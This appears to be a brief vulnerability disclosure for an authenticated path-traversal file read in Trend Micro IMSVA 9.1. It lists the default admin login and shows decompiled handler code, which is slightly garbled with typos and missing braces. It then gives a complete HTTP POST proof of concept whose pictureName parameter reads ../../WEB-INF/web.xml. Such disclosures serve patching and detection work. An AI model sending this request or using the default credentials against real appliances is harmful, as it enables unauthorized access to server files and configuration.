Arbitrary file read in Trend Micro IMSVA V 9.1

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Affect: <=9.1

Login first, use the default password: admin/imsva

The vulnerability url is in showReportDetailPicture.imss

Read the source code:

com.trendmicro.imss.ui.report. DetailReportAction

```
line 15
public class DetailReportAction extends RptBaseAction
   public ActionForward executeAction(final ActionMapping mapping, final ActionForm form, final HttpServletRequest request,
       DetailReportAction.debugLog.debug((Object)"Enter executeAction() in DetailReportAction."):
       final String subAction = mapping.getParameter();
       DetailReportAction.debugLog.info((Object)("subAction='" + subAction + "' in executeAction()."));
       if (sybAction.equalsIgnoreCase( anotherString: "showPicture")) {
          return this.showPicture(mapping, form, request, response);
       final String idStr = request.getParameter( s: "reportID");
       final String typeStr = request.getParameter( s: "reportType");
       final HttpSession session = request.getSession( b: false);
       if (session == null) {
           return mapping.findForward( forwardName: "success");
       boolean bIsFind = false;
       String htmPath = null;
       if (typeStr.equals("1") || typeStr.equals("2") || typeStr.equals("3")) {
           final RptResult rot = (RptResult)session.getAttribute(s: "scheduleRptList");
           if (rot != null && rot.rptList.size() > 0) {
                for (final RptResultEntry item : rot.rptList) {
```

Read the function "showPicture":

Parameter "pictureName" is not filter, hacker can factor a link to read files, such as web.xml

POST /showReportDetailPicture.imss HTTP/1.1 Host: 192.168.31.99:8445 Connection: close Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Accept: text/html, application/xhtml+xml, application/xml; q=0.9, image/webp, imag e/apng, */*; q=0.8, application/signed-exchange; v=b3; q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN, zh; q=0.9, en-US; q=0.8, en; q=0.7 Cookie: CurrentLocale=zh-CN; PHPSESSID=bqrgts3k0rj8ugv2mgesmab4a5; un=7164ceee6266e893181da6c33936e4a4; userID=1; LANG=en; wids=modImsvaSystemUseageWidget%2CmodImsvaMailsQueueWidget%2CmodImsva QuarantineWidget%2CmodImsvaArchiveWidget%2C; lastID=4; theme=default; cname=dashBoard; lastTab=1; JSESSIONID=D9CD256C2737899614EDA5BADC34C430 Content-Type: application/x-www-form-urlencoded Content-Length: 33

pictureName=../../WEB-INF/web.xml